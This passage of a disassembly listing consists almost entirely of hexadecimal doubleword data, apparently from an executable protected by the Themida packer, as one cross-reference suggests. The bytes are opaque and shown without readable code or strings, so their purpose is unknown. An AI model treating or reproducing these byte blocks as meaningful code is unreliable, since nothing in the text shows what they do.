		dd 35000007h, 53E322DAh, 77C706BEh, 2C9C5D99h, 71C100BCh
		dd 0DEA3629Ah, 45816827h, 1AD23484h, 4F876BDBh,	11CD3E8Eh
		dd 7BC899D0h, 0E8E0F925h, 0BFC14D6Ah, 0D836E20Fh, 8BBB321Ch
		dd 3D6AAA62h, 65A5618Dh, 957646CFh, 0ADFC9959h,	81590307h
		dd 0F447D226h, 0EF92D2A0h, 66EFC1EDh, 94752844h, 14909958h
		dd 1CC0BB2Ch, 17h, 5C15BF90h, 0FD2A2E56h, 0E5AEA368h, 2D03A343h
		dd 1A76EA4h, 5D640000h,	0EF93360Ah, 0DA0963A7h,	21410569h
		dd 0AC1F4EE5h, 0F6456B78h, 7560E9C5h, 0D13A8A59h, 3585D415h
		dd 31ED03D7h, 0FC755BF1h, 23E31BCCh, 3DEE8440h,	43F53997h
		dd 7BF29BF2h, 107819AAh, 6945EBE2h, 6D63F981h, 8BC7FB68h
		dd 66Ah, 92538B66h, 0D011CD22h,	93528A60h, 0D213CB23h
		dd 92538B62h, 0B25916EFh, 0E10BBB7Ah, 0B854E425h, 0DC0DBD7Ch
		dd 0F9A8E120h, 0E0F8164Ah, 0F07C5BE8h, 0B171AD5Eh, 7AB856E6h
		dd 8AA1E023h, 0A9200E19h, 74B47099h, 82D7B311h,	656CAD69h
		dd 0C0BBE4E1h, 10EBh, 0FEA46700h, 0F3000000h, 49B33F59h
		dd 38AE8C6h, 360A5D8Fh,	63A7EF93h, 0D69DA09h, 92E52141h
		dd 2CDD6DBEh, 688131F0h, 8B3B6CACh, 0C92CA561h,	7B4670Dh
		dd 0EBE17186h, 42967B4Bh, 6E5C72AAh, 2D87477Fh,	0C565EB03h
		dd 0A39F686Ch, 5C5EFh, 0B4708300h, 0EC28C575h, 0B76F9D2Dh
		dd 0EE26C676h, 0B4709F2Fh, 0B2F10875h, 0D262A35Bh, 8D3DFC38h
		dd 0D464A561h, 733AFB33h, 0F73B9122h, 0A780E8E0h, 71AD5E2Bh
		dd 3CF812A2h, 1DDF56FCh, 4A8A42ABh, 9C2F7E2Fh, 0EF933548h
		dd 1230B995h, 12CA2376h, 5F9771C1h, 2553339Fh, 0ABB0EB61h
		dd 0C6CF0C85h, 0C0BB0D42h, 746h, 46A4CA00h, 0AE000000h
		dd 3F8CAD5Eh, 0EF9335E9h, 0C1281A36h, 416FC505h, 8C7CD681h
		dd 0C9A71AECh, 0C32CC3EBh, 44A748AAh, 0D00CFDCDh, 66022210h
		dd 0E124DA33h, 0CB05E7B6h, 50841047h, 0E3E8AF78h, 0BD17D70Fh
		dd 367CBD93h, 12h, 71AD5E3Ch, 35CD04B1h, 83A3EF93h, 9D59B2E7h
		dd 0AD5E505Ch, 16D2B171h, 0AA1CAF7Ch, 37E52140h, 8F78C81Bh
		dd 0C5269657h, 6EAAC909h, 0A2D5D802h, 628576Ch,	586366D5h
		dd 428EBD3h, 4E8667D7h,	1ABE2D9Dh, 50FA3AF2h, 9D14BE7Eh
		dd 0C1FDEE5Eh, 0CCA66201h, 7619AC1Fh, 0A26F293h, 1EEC74E2h
		dd 0DC90AC6Fh, 4AAh, 52934BA6h,	10D10DE2h, 53924AA0h, 12D30BE3h
		dd 52934BA2h, 7299D62Fh, 21CB7BBAh, 789424E5h, 1CCD7DBCh
		dd 396821E0h, 0E0F6568Ah, 30BC9BE8h, 0A271AD5Eh, 0C720F812h
		dd 4B65CF0Fh, 0FF13218Bh, 3D8D4EC7h, 87D010CCh,	362F65D6h
		dd 507CEF93h, 0C400E9D9h, 8D49A717h, 0F2A3C604h, 0B171AD42h
		dd 0D4B0921Bh, 6DAC6881h, 0BB4FE064h, 64E8C0h, 89390000h
		dd 0B3E95A5Fh, 0F8EF9341h, 8ED2FAD4h, 51E01419h, 8BA529A0h
		dd 46F6254Fh, 36E76EA6h, 2F77FE85h, 5BB707E5h, 40C963A3h
		dd 1AAA7955h, 0AEFF3EF6h, 0B930EC1Eh, 3F83548Ah, 934BBCF6h
		dd 0E1520352h, 0F63F83ABh, 6555DCF0h, 277E4B89h, 0AB833BD2h
		dd 547AAC3Ah, 3DCD894h,	3F8F0000h, 7FD515D1h, 15BF7AF6h
		dd 6AA49FDEh, 56B33A83h, 982BF892h, 0E52F4021h,	0B06C9EAEh
		dd 1E8DA70h, 9D2BEBC5h,	4270B06Ch, 42860662h, 0F148FB28h
		dd 7EEBDB60h, 32F69352h, 8BDA8B58h, 0EB60E438h,	8C0529FCh
		dd 878046BFh, 4DBF0FF2h, 72FB5191h, 0DC8B4B67h,	0B4C22E76h
		dd 0F8715E71h, 12F921C8h, 47409427h, 0A18D0397h, 0C661A18Fh
		dd 0D0C4BD17h, 903A1496h, 0DF4F3B19h, 0E93F8C1Bh, 3603976Ch
		dd 0B6E7341Ah, 976CCF05h, 0B9301C03h, 8C62DB68h, 0DFEFF933h
		dd 18D9F72Fh, 70813FA8h, 7C856A9Fh, 4CFC2F01h, 28EA639Bh
		dd 70B16D9Eh, 68BBD115h, 0A5618939h, 1A4A1F2Ch,	0E353FFE0h
		dd 43992A0Fh, 8810F046h, 16038AA4h, 260EC626h, 38801FC2h
		dd 5696B857h, 0F04DA9E3h, 16D4910h, 24E00DBDh, 0B73EF616h
		dd 19A3BA3Eh, 5BAE1Eh, 8B220000h, 0A7F6254Fh, 0B9C72F0Dh
		dd 15911517h, 0D04D6533h, 26159CEEh, 0E52EBBD7h, 585BF1A0h
		dd 0FC611E99h, 0A9C81C2Dh, 5C2AF63Eh, 17452E8Ah, 0E36A4651h
		dd 0AF1ADAF6h, 0F63E8E75h, 74B4709Fh, 2CEC28C2h, 0BC523A80h
		dd 5A9FC29h, 5CF4ADD9h,	74F00C78h, 7C39EFC4h, 0DCh, 71AD5EF0h
		dd 2CE807B1h, 75B15AECh, 32EA03B5h, 0FE12A2F3h,	0F7C4FC6h
		dd 79EF9331h, 0C4955490h, 8BDF036Eh, 686AE66h, 83685ACBh
		dd 19F2C24Bh, 0D9108BDBh, 97B99429h, 9AF03457h,	44A81849h
		dd 6BE24888h, 30150158h, 2C9F4EE5h, 0F6401CF8h,	9BA6945h
		dd 0F6401CD3h, 0DB1A3418h, 15167ABEh, 0FDC9971Bh, 0C9E71FC9h
		dd 588734E7h, 65EBCF45h, 0BE7EB655h, 927DF08h, 0A544F427h
		dd 4AF12794h, 123EFCEEh, 9E4DFD3Ch, 989E8E66h, 0EAD66869h
		dd 1FDA6h, 0DC18FB00h, 8440AD1Dh, 0DF17F545h, 863EAE1Eh
		dd 0DC18F747h, 0CA99601Dh, 9A2AEB23h, 0C575B470h, 9C2CED29h
		dd 3B72B36Bh, 0F383D96Ah, 0EFC8E8E0h, 77AF5E63h, 2FE506B6h
		dd 0B6E4C5D2h, 0C6968095h, 551DCEE6h, 0BAB67759h, 0F6254F8Bh
		dd 0D2930DA7h, 7DE23DE5h, 0C776C7F4h, 0D7FBE52Eh, 0CB6AA217h
		dd 2C08F63Eh, 2520A440h, 92839EFh, 0F9000001h, 0A7679F49h
		dd 0BF08840Dh, 0E626DE0Fh, 14F5C54Ch, 0C1EF27C4h, 9C58B701h
		dd 309AE95Ch, 29C2EF93h, 2C7D2CEDh, 933A499Fh, 33BA96EFh
		dd 0F232EA03h, 1147F4A5h, 5EEF933Bh, 3AE83C8Fh,	1935EF93h
		dd 9F5BBE37h, 3C9526F5h, 45E52F3Eh, 51D814F5h, 11BB6844h
		dd 5D5C9C3h, 0A8648922h, 0A9CC0F86h, 67D4076Dh,	0EBCF2699h
		dd 36DC8822h, 262D62EAh, 4596BAAFh, 28C216F5h, 0A8862CECh
		dd 0EE26CB7Bh, 0E457842Eh, 0FCED78B0h, 9B58D1FDh, 0F4289BCAh
		dd 39FCED78h, 1F75C615h, 6CFCED79h, 12F9C940h, 0C63032DAh
		dd 5C606868h, 0E110h, 0B8749F00h, 0E824C979h, 0BB739929h
		dd 0EA22CA7Ah, 0B8749B2Bh, 0AEFD0479h, 0F646873Fh, 0A919D814h
		dd 0F8488945h, 5F16D70Fh, 0F267BD0Eh, 93B4E8E0h, 0C115BF1Fh
		dd 0A779C7DCh, 23DB3705h, 0BB739AAAh, 0E321CA7Ah, 0BC52A14Eh
		dd 0D8E02800h, 0B9974FBCh, 0AD075697h, 0EF92B018h, 0B63AB3D1h
		dd 0B171AD5Eh, 0FD2EE607h, 79D92B57h, 10B548F3h, 0CC864A28h
		dd 0AE6DE4CAh, 0B6650FCBh, 0D25B4DE7h, 5DB90D1Dh, 0F7DEE7D4h
		dd 8FA3E520h, 0D410F94Fh, 0A6154415h, 0F6452172h, 2A1A93BFh
		dd 0F2E903C1h, 0B963FDF3h, 0C59CB391h, 0DFF1ACF1h, 0A715AA1Fh
		dd 9BBB5E22h, 8541AAEFh, 0DB13F444h, 813DAD1Bh,	6637E641h
		dd 0A5CC7FD5h, 69E0CC6Eh, 917A1F4Bh, 0C3249455h, 113FF717h
		dd 89DD1h, 7ACA0000h, 50DC5591h, 0B35E7200h, 0DC0DBB7Bh
		dd 0BA56E020h, 9274C202h, 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch
		dd 8E7CCA0Ah, 0CB209656h, 55DDD313h, 0C5815D54h, 4, 8704ED83h
		dd 685C242Ch
		dd 3BADh, 68240489h, 10DAh, 52243489h, 0B235C4BAh, 5A585206h
		dd 4EC81h, 24890000h, 24048324h, 89555E04h, 0EB8953C5h
		dd 5B085E89h, 24348B5Dh, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h,	0E9E95C24h
		dd 41FFFA38h, 0EF95CF2h, 0CFA6CF74h, 0D1C8A0B8h, 44C7B8E3h
		dd 0C50306B2h, 0F29EE0FFh, 27743FCFh, 0CADF4D8Bh, 96E05A8Dh
		dd 0C811401Fh, 0BC707D6Fh, 2FA61F55h, 315A6C32h, 0B2B52251h
		dd 724A080Bh, 0EE3959F7h, 0AEEA5EBFh, 209757E4h, 0CC525DB7h
		dd 2FC01589h, 275E29F7h, 0D9E39A4h, 98CB1F2Eh, 209A3D29h
		dd 0B7700BA6h, 40C97049h, 7B8F3306h, 8A0C479Eh,	3AE75B89h
		dd 59D71F88h, 702E694Bh, 969540CDh, 0D1091934h,	0BE81175h
		dd 9000000h, 0F717BCA3h, 52BB6052h, 11E8453Ch, 90000000h
		dd 8065A1D7h, 0A6308200h, 0E0224D9Ah, 0B2E6F37Ah, 5ACABF0Fh
		dd 81D68B5Fh, 60F3C7h, 0D9B70F00h, 5E8F62Bh, 1A000000h
		dd 0B723FA8h, 55EDE281h, 8B5B534Ah, 45B93704h, 81148056h
		dd 6F998CC0h, 19810F77h, 0E8000000h, 12h, 4C726641h, 998C5703h
		dd 1536DB1h, 0F228890Bh, 59FCEEFDh, 3964F081h, 66607F39h
		dd 7E9C18Bh, 0AE000000h, 1020D2E9h, 81612078h, 0F5D93CC0h
		dd 6890F69h, 81000000h,	80866BEBh, 10E95061h, 8B000000h
		dd 7133B8D8h, 0E2EEF49Eh, 97099239h, 8FF4286Bh,	0CB813704h
		dd 6F865749h, 3EE83F8h,	0A06948B9h, 14E94E19h, 92000000h
		dd 0A9D423AFh, 0B357B0D7h, 0AD442F54h, 0CCF1EF81h, 81714B9Ah
		dd 0FFA020FEh, 18850FFFh, 66000000h, 27E9D38Bh,	0E0000000h
		dd 1E6CEBBDh, 1A90C9FBh, 81665E58h, 51809CF2h, 0E95BE9B3h
		dd 0FFFFFF3Bh, 27F6C4A8h, 0B3E8465Bh, 8CC5FEF7h, 0A6E92667h
		dd 0EE000001h, 273AE712h, 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h
		dd 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h, 95BCD792h
		dd 93B9E4h, 0F49DB2CBh,	0FC9CACA3h, 0D2009EB9h,	73AFC945h
		dd 55FC00EEh, 599CBA97h, 0B2A4E56Dh, 47FEACFFh,	0C45657F6h
		dd 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh, 0A1915CCDh
		dd 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 0Ah dup(0)
		dd 0F40E900h, 43680000h, 0E906B24Ah, 0FFFAFC45h, 0B24B3568h
		dd 0FC3BE906h, 1768FFFAh, 0E906B24Dh, 0FFFAFC31h, 0B24DB668h
		dd 0FC27E906h, 0C668FFFAh, 0E906B24Eh, 0FFFAFC1Dh, 0B24F8F68h
		dd 0FC13E906h, 4268FFFAh, 0E906B250h, 0FFFAFC09h, 0B250B368h
		dd 0FBFFE906h, 0A468FFFAh, 0E906B251h, 0FFFAFBF5h, 0B2520368h
		dd 0FBEBE906h, 0BF68FFFAh, 0E906B252h, 0FFFAFBE1h, 0B2535268h
		dd 0FBD7E906h, 68FFFAh,	0E906B254h, 0FFFAFBCDh,	0B2550968h
		dd 0FBC3E906h, 0D68FFFAh, 0E906B256h, 0FFFAFBB9h, 15D6B3E4h
		dd 0DB18693Fh, 18DBA4F1h, 0DA196032h, 1EDDA0F0h, 0E5B5781Bh
		dd 22715B98h, 0E4B09A59h, 21705A99h, 0E82B9F5Ch, 0EE8B34Dh
		dd 0D1A55C6Ah, 7CE895C4h, 3BF885D4h, 9C80663h, 0F099D1ACh
		dd 83173C68h, 8BF56A4h,	0E71A7F6Ah, 2AB7C5ABh, 43BC07h
		dd 0B64A0000h, 0CC52F7D3h, 3B635C9Fh, 5FFA3B10h, 68F0A5A4h
		dd 0A1DA8B21h, 0A3371C35h, 8AA7684h, 0C73A5F6Ah, 6DD91162h
		dd 3FDB2580h, 1F346A09h, 0FCD213ECh, 90040556h,	0C3A58BB9h
		dd 0B2072ABDh, 0CBh, 0E895C444h, 0F984D47Ch, 6A94C56Dh
		dd 0F0D94D3Ch, 0B6E74FDBh, 165716D5h, 5CA06DB3h, 83B19A63h
		dd 5CA3A8A0h, 48356463h, 8EF3A389h, 25379BCh, 5237ED79h
		dd 0AA3E4B1Dh, 67B2983h, 5190BB92h, 0F0ACADF4h,	3CFF8C68h
		dd 4FB15B70h, 0D7FC8DDFh, 0C4502D7Dh, 0E7CCDFEDh, 0CB197C24h
		dd 0B76200Ah, 655BFE39h, 0E26F9A09h, 0B87B08C9h, 4452DF28h
		dd 0A68C4B79h, 604A8BF6h, 0B97C4E33h, 74BEC393h, 736FE7BBh
		dd 0C877C650h, 8700000Ch, 5A70B3D0h, 94BE7D0Ch,	0AD8744C1h
		dd 6B4182FFh, 8085463Bh, 37E2EE3h, 0C0B9EAC0h, 7D2903h
		dd 0C7B8E9C3h, 0D673B004h, 6A0EEA48h, 0C44A3EC7h, 6B2AE994h
		dd 0FB6F1041h, 1D4CE0D2h, 0B6D7A360h, 0A2C5C5D3h, 0F1652677h
		dd 0F0072BD8h, 0A306C7ECh, 68F16240h, 0F132A68Dh, 660B15B0h
		dd 2F046A09h, 65DC3E1Dh, 80E56A09h, 0D3F2161h, 0D436072Ah
		dd 0C0000000h, 7CE895C4h, 0B61384D4h, 635CA068h, 74268CA7h
		dd 83A88115h, 0A3383017h, 0A5F4635Ch, 89BC1700h, 1A33A7D8h
		dd 0D51B6BE9h, 3B128683h, 0D2F83B10h, 0B06AFE83h, 7BDE1FD5h
		dd 68F18628h, 250FCEE5h, 0A3D88B77h, 0C6351C88h, 46C8E0FBh
		dd 9E5B6969h, 0AC6DA3C6h, 9ABDC009h, 2BEAC16Fh,	0E96A196Ah
		dd 0CC582574h, 83CB16E5h, 0AEFE5260h, 6A3A10D3h, 24E4DD17h
		dd 29BF736Eh, 0BD698h, 0E5A6F100h, 2F5A0C26h, 0F693C6ECh
		dd 3C4D1F35h, 0F885D5FFh, 885D3E3Bh, 4C66A5D8h,	8BA1621Fh
		dd 4B61A2DFh, 16A2611Ah, 0EAAE70D5h, 0A0596A0Eh, 0E994C4D4h
		dd 2C51002Ah, 0AF2B9EEDh, 10BEAFE8h, 0D95992E3h, 7B498CA6h
		dd 81D5FFBEh, 1EE04584h, 0E9635D68h, 0AF02F0C2h, 0A47D53DCh
		dd 4FEA442Fh, 635CA7B1h, 6C5E755Eh, 0E3491C0h, 0BC6B3918h
		dd 0E34BDFF4h, 4B0AC9B2h, 1851AF0Ah, 95BE635Dh,	3C1C79A7h
		dd 5D188799h, 80AB8063h, 0A2730041h, 0E661E908h, 58436052h
		dd 0F568F158h, 0A3894ADEh, 9AB98BF0h, 6A095B80h, 881C6130h
		dd 216A1679h, 0BA1AA4Eh, 5BB82C5Dh, 578CC33Eh, 507ACF32h
		dd 83D37904h, 0FEE2CCFEh, 0F50729ECh, 75h, 0BD491C36h
		dd 21B59EEBh, 89B947E2h, 7D566A09h, 0D3AEFC56h,	0AE5C6E47h
		dd 0DC1DD3B6h, 9431A6F6h, 635CA08Ah, 0B785AE85h, 987ED570h
		dd 0E4CF68F0h, 0BFC55770h, 0E98C6A08h, 0B76246FAh, 3251072Ah
		dd 0A7000000h, 0CC9CD3B6h, 891D6030h, 0DC1F8BA0h, 5C9FA779h
		dd 604B6063h, 342F8A4Bh, 9168F093h, 0F3092EBAh,	0D26A08B3h
		dd 14144CB7h, 3072ABFh,	1Dh, 4BEEAFF5h,	635C9FB5h, 0FE4B7952h
		dd 7A8h, 0C546153Fh, 6DFAA636h,	22101DAFh, 0D485AFD0h
		dd 224799ABh, 57072DECh, 0A597BE2Ah, 6809C762h,	0AD8668EAh
		dd 0F0091F6Ch, 64C377CEh, 91D09156h, 0EAEEA34h,	3C0E256Ah
		dd 7FBCC190h, 9FA30455h, 82EEACA5h, 34EE7A51h, 0F7529351h
		dd 6F9CA742h, 0EC23A0D3h, 0AA01AFC4h, 0C0E4F10Fh, 1E351E70h
		dd 0D5143F2Ch, 4DD9AAFFh, 0BB915664h, 785291EAh, 1AC05429h
		dd 3170B17Fh, 230491Bh,	54E07E21h, 2EE4CF76h, 6A25890Dh
		dd 0F4358412h, 0D3000009h, 6E448784h, 0A08A4938h, 614B88F5h
		dd 0A78D4E33h, 4C498AF7h, 0F78ADA2Fh, 3C4D1E34h, 8481D5FFh
		dd 433C6D47h, 52F73480h, 6A0EECCCh, 4BB6C23Bh, 635C9EB1h
		dd 0F938F693h, 0EA61825Ch, 0E5260D68h, 0CB0AD8BDh, 9CA8586Eh
		dd 9AC9E36Fh, 6E5C75E1h, 0BD97567Dh, 7A5093ECh,	18C2562Bh
		dd 0D376B77Dh, 764EF06Eh, 7839F8D3h, 0EA7E0352h, 0C5DF1C3h
		dd 0DBF1B073h, 6EC2F089h, 0F1D6423Fh, 0F7737629h, 0DE647217h
		dd 0AD75E97Bh, 11B4755Eh, 0FD076CB6h, 5B76BC97h, 30E4F6E5h
		dd 95517A6h, 25720000h,	0DB8DA764h, 12476DAEh, 0CA98B271h
		dd 0E5E74B7h, 0D6B5B073h, 0FD3E4313h, 448784D7h, 8C4F3A6Eh
		dd 498AF7A6h, 859B3EFDh, 826A0EEDh, 0D3B60F7Bh,	6779DC1Dh
		dd 2068EA60h, 0B1E0CA0Bh, 74250FCCh, 20459F0Bh,	0E44E3363h
		dd 20E1CAB7h, 0B60D1261h, 4C1E67FAh, 79A65ABFh,	0DBE94B06h
		dd 9C77F2F8h, 77B69D6Fh, 0EA7E0B5Dh, 1C36F1C3h,	0D9F3304Dh
		dd 0B963F788h, 72D716DCh, 764EBEB5h, 94BE7F54h,	517BB8C5h
		dd 0DDACFE00h, 0DF4B6049h, 734522F8h, 0E452077h, 0C3022958h
		dd 1059C66h, 73986B7Dh,	1AE844DEh, 0C3E92803h, 58A60392h
		dd 0B77E24FFh, 5E74B79Ch, 0F2B3720Fh, 24FEC957h, 5F6D467Eh
		dd 0F97D0ECDh, 6A174375h, 4CDB2299h, 0D1F86C19h, 7316C8FAh
		dd 0FD97CBDh, 7883B27Dh, 2E04C753h, 0A3DE8C7Ch,	7351E37h
		dd 0B776BCD9h, 1AB0CD9Dh, 8BA2364Bh, 90DB7EB9h,	0FD8A6AFAh
		dd 95010257h, 4A5D97BCh, 11561396h, 8453687h, 55020000h
		dd 8BDDF734h, 42173DFEh, 7A2802C1h, 0BEEEC407h,	660500C3h
		dd 4D8EF3A3h, 94573467h, 5C9FEABEh, 995A2776h, 0B54BEE2Dh
		dd 526A0EEDh, 95C4DFABh, 85D47CE8h, 1B825020h, 0EFC4013Fh
		dd 6FD987Bh, 25E499C8h,	6D3FC164h, 0E3C8635Dh, 0BCBC14D1h
		dd 0AB0DD605h, 14h, 0D085AF5Dh,	4DD376B7h, 0BA635CA0h
		dd 4F16A391h, 0E2000004h, 187D9DB1h, 43AE0BCAh,	8268F06Dh
		dd 0D318E643h, 0DCF76A08h, 428A21F7h, 959AFD02h, 0D99EABFh
		dd 0ADC81624h, 403A667h, 142A884h, 164BE2Ah, 3CA702C3h
		dd 8949516Dh, 82263A2h,	0BE12205Dh, 205392EFh, 0CE401C3h
		dd 8CDFFF7h, 0C40E7322h, 99265AC5h, 7CB9089Eh, 4B000007h
		dd 86AC6F1Ch, 5872B1D0h, 99B3700Dh, 5F75B6CBh, 0B4B1720Fh
		dd 3F4212D7h, 8485D6FCh, 4C396D47h, 8BF4A58Fh, 9A3FFC48h
		dd 6A0EEF84h, 0C40E7A83h, 59A70295h, 50635CA0h,	71C8F6FFh
		dd 5C776215h, 0FC2B37AFh, 72595076h, 631E4EE6h,	579DF8A0h
		dd 0ADFDD796h, 5F6D44D0h, 0EB4CB47Ch, 0BD7C5768h, 0C05CF3CEh
		dd 0C3C9CCFEh, 8A1FECDAh, 40DE7B1Ah, 0CF6A0FF6h, 3AFDCFE4h
		dd 0FF3C4110h, 0C45AFFBEh, 436A0FF5h, 0A7F65A68h, 0E5710A5Bh
		dd 0A973E7CCh, 62C706CCh, 6F9DB668h, 0E7CD0C27h, 3C16D5B6h
		dd 2C84106Dh, 0C0CB017Ch, 9F735075h, 6C9B809h, 0D1860000h
		dd 0F5973B0h, 0CE9BB172h, 6547EBDh, 0C292B87Bh,	1A797CBFh
		dd 39FA87D7h, 0F83B4013h, 38FB86D2h, 0FD3E4312h, 0D12F8A49h
		dd 3E6A0EEFh, 85AFB3C7h, 173EAAD7h, 0D19EFB25h,	15D4FF80h
		dd 5E2B7E54h
		dd 607D4F6Ch, 210A68EAh, 0E69BCAE0h, 1D4E6425h,	0E3D1F86Ch
		dd 0F96D1E4Fh, 49884623h, 0A2C731ECh, 0FD371C6Fh, 736B8788h
		dd 58B40593h, 77000006h, 8AA06320h, 446EADDCh, 9DB77411h
		dd 5B71B2CFh, 0B0B5760Bh, 334E1ED3h, 0F089DAF0h, 304D1933h
		dd 0F788D9F3h, 0E6438034h, 6A0EF018h, 0AF7A0EF7h, 98AAD785h
		dd 8C186534h, 9C087524h, 29E71A7Fh, 6CC40778h, 0DD6D78Ch
		dd 77Bh, 7BDD8D00h, 29000002h, 35D185AFh, 99B02461h, 3D0F26B2h
		dd 2BBFC091h, 9F5E94F1h, 0EA67B03Ah, 63780B68h,	0E38F94EDh
		dd 408192A0h, 0F8ACD333h, 2E0BD6B8h, 6A0F09D0h,	0FC3F143Fh
		dd 0BAC797BDh, 89752488h, 1930A4D9h, 5E0EA632h,	0DDB8E023h
		dd 9273D617h, 376F9CCAh, 0A2F7DD1Ch, 3E14D3E1h,	90D1126Fh
		dd 99DECBAh, 0EFBE1220h, 0FEAE0692h, 29034283h,	0BA930778h
		dd 0C151819Fh, 97A58E70h, 74BADF05h, 5D1910B5h,	53207655h
		dd 3E6EDCD0h, 5BF3B043h, 466D7E4Ch, 2577F38Ch, 6FDE486Ah
		dd 567h, 894A3760h, 5794F5A3h, 9C5F287Dh, 66A5E4B6h, 0A2611C4Ch
		dd 5101C4A7h, 96C5EF2Ch, 481C36F5h, 85D4FE3Dh, 4C8F3BF8h
		dd 0EF117E9h, 7D09F06Ah, 7CE895C4h, 6CF885D4h, 39F7EA8Fh
		dd 7CD41768h, 0DD6D77Ch, 76Bh, 24DD9D00h, 29000001h, 22E895C4h
		dd 7E35E84Bh, 8FF4ED8h,	0C7000005h, 1A30F390h, 0D4FE3D4Ch
		dd 6D478481h, 0AB81423Fh, 404586FBh, 0C3BEEE23h, 792A00h
		dd 0C0BDE9C3h, 7782903h, 16B370C4h, 6A0EF208h, 0AF8AFE07h
		dd 21B5D685h, 0C7963A08h, 0D7862EBAh, 272CE072h, 0E1CAAC55h
		dd 10F39675h, 422683D2h, 5ACF61BEh, 60C80B20h, 0DD6BE80h
		dd 0BB49D1A2h, 147DFF82h, 0D3426h, 0DDC20000h, 0A7h, 0A1DD29h
		dd 0B6290000h, 0B2CF9CD3h, 0E5240F26h, 0EA678A40h, 0BA2E0568h
		dd 0ECF0560h, 0CB37654Fh, 5C75E19Ah, 0F8CAE377h, 0A2B68CDBh
		dd 51072D6Fh, 5C0CA430h, 0B79CB521h, 1A4DD376h,	91BA70BBh
		dd 519BB0A3h, 736B9202h, 4CF647D1h, 7B000004h, 0B69C5F2Ch
		dd 4862A1E0h, 89A3601Dh, 4F65A6DBh, 0A4A1621Fh,	2F5202C7h
		dd 0F495C6ECh, 3C491D37h, 0FB84D5FFh, 0EA4F8C38h, 6A0EF214h
		dd 0B67E0AF3h, 79DC1DD3h, 68F06990h, 0F1DB1A31h, 0BD18DBA4h
		dd 6A08EE5Eh, 0EFBD4110h, 42F0692h, 0CFB8EDC7h,	3F5EA5Bh
		dd 0B61E0000h, 79DC1DD3h, 68EA6773h, 60A3371Ch,	0E87A8421h
		dd 3F956A0Eh, 9E341F6Ch, 528CBECBh, 68B61337h, 0A76A0EE8h
		dd 0C366A78Ch, 6FA2B684h, 0BDE02A01h, 76736B92h, 3B951E0h
		dd 0C1960000h, 0FFA98340h, 3E6B4182h, 0F6A48E4Dh, 3262488Bh
		dd 0EA898C4Fh, 0C90A7727h, 8CBB0E3h, 0C80B7622h, 0DCEB3E2h
		dd 41DF7AB9h, 0CE6A0EF3h, 0D3B64337h, 7779DC1Dh, 1068EA67h
		dd 81D0FA3Bh, 44153FFCh, 466CAF3Bh, 1F877415h, 0DFE4D482h
		dd 7E1BC5F7h, 63D471B0h, 326F9CFCh, 1334E18h, 96EBB812h
		dd 7567CBDh, 8BF8B97Ah,	5466FA91h, 0E69BCADDh, 253FFCDh
		dd 0C692B879h, 34062FBBh, 0CB197CA6h, 33614B0Ah, 0EBE11C96h
		dd 0EFC489DFh, 70BFFEDDh, 705A7655h, 0F12A8722h, 0BE4C9519h
		dd 9FB4A795h, 25181255h, 0EE5FC96Ah, 30Bh, 35F693C4h, 0FB38491Fh
		dd 38FB84D1h, 0FA394012h, 3EFD80D0h, 0C595583Bh, 2517BB8h
		dd 0C490BA79h, 1507AB9h, 0C80BBF7Ch, 0EF3936Dh,	0F1857C6Ah
		dd 7CE895C4h, 3BF885D4h, 9C80663h, 52AC0948h, 0BD635CA0h
		dd 0F887A496h, 1568F099h, 6F8DAA3Eh, 566A08BFh,	9090D033h
		dd 87072AB7h, 3Ah, 1DD3B671h, 0E4B79DDCh, 4BB695A7h, 0AE68F0A6h
		dd 18CE3FDDh, 0AB992676h, 200793B8h, 6A0909DAh,	33A7DA8Ah
		dd 28BCCD9Bh, 7936ADCAh, 641CC7A2h, 72A6984h, 0BE73h, 95C48500h
		dd 84D47CE8h, 94C56DF9h, 86D77FEBh, 67E34685h, 9B635CA3h
		dd 5872B1CAh, 3AE07409h, 0F550915Fh, 68F0B126h,	69017233h
		dd 72DB4257h, 5613EDC8h, 0D7FC6A09h, 1CDDF6E5h,	8F1B6636h
		dd 95194A6h, 0C267A66Ch, 6F9AB37Dh, 0A7E6270Ch,	36A2DF8Dh
		dd 0F8CE50F5h, 123970B7h, 0F7A70B39h, 3363498Ah, 0B135844Eh
		dd 980E736Eh, 20229h, 0E99ACD00h, 2B56002Ah, 0EA97C2E8h
		dd 28510329h, 0EC91C1EBh, 84492A2Fh, 406AA9D4h,	87AD6E13h
		dd 5F75B6D3h, 0ABE7D0Eh, 0F4926CC9h, 847D6A0Eh,	0E9DCAFF0h
		dd 2C212A4Bh, 3D3AD6D6h, 0DCF73A64h, 6F1242EEh,	0ABD684AEh
		dd 27765C99h, 0B6ED995Ah, 79DC1DD3h, 68F0A58Ah,	0F50BAEEFh
		dd 126A08A9h, 45C69339h, 0DB4F6477h, 8AA1EFCh, 9F42276Ah
		dd 2AC8FDE3h, 0EFF407h,	1D370000h, 0FB30EA4Fh, 4247AD47h
		dd 0E6D4FD69h, 0E895C414h, 0F984D47Ch, 4AEFAE6Dh, 635C9FB4h
		dd 694A7853h, 635CA2E1h, 0F0334C1Dh, 62F68BDAh,	0D617DDB8h
		dd 0F0AFA873h, 0B8966568h, 73808F84h, 1F4784AFh, 675B47Ah
		dd 0B554849Fh, 61DF9EA8h, 33BF9F6Ch, 0F8B97E4Ch, 6BFF82D2h
dword_5AD588	dd 75537042h, 0D26F9A97h, 421238F9h, 0B79CEDBEh, 700D5C76h
					; DATA XREF: Themida_:00552DCFo
		dd 3AFFCDE4h, 0EDBC4010h, 6FB00C48h, 0C5EEDD01h, 719F24EEh
		dd 294736Eh, 0FEB3h, 0ED9EC900h, 3752042Eh, 0FE8BDEF4h
		dd 0C445173Dh, 7D2D07h,	60A5C6C3h, 0A48E4D30h, 63498AF7h
		dd 0A3894A37h, 0FE4A89F2h, 0F686983Dh, 78816A0Eh, 6894C40Ch
		dd 0FCD5413Ch, 6F3E14D7h, 9FC35DF8h, 52AA635Ch,	0EFCE1983h
		dd 0BDEE4451h, 8326E7CCh, 635D4A7Dh, 4B8AA18Ah,	0B84B3461h
		dd 0B87E4E5Dh, 0F03507C0h, 0E895C484h, 0F885D47Ch, 5C097A3Bh
		dd 0D3411F87h, 6702DCEEh, 88CD68A9h, 0F968EAF8h, 0BFEE46D2h
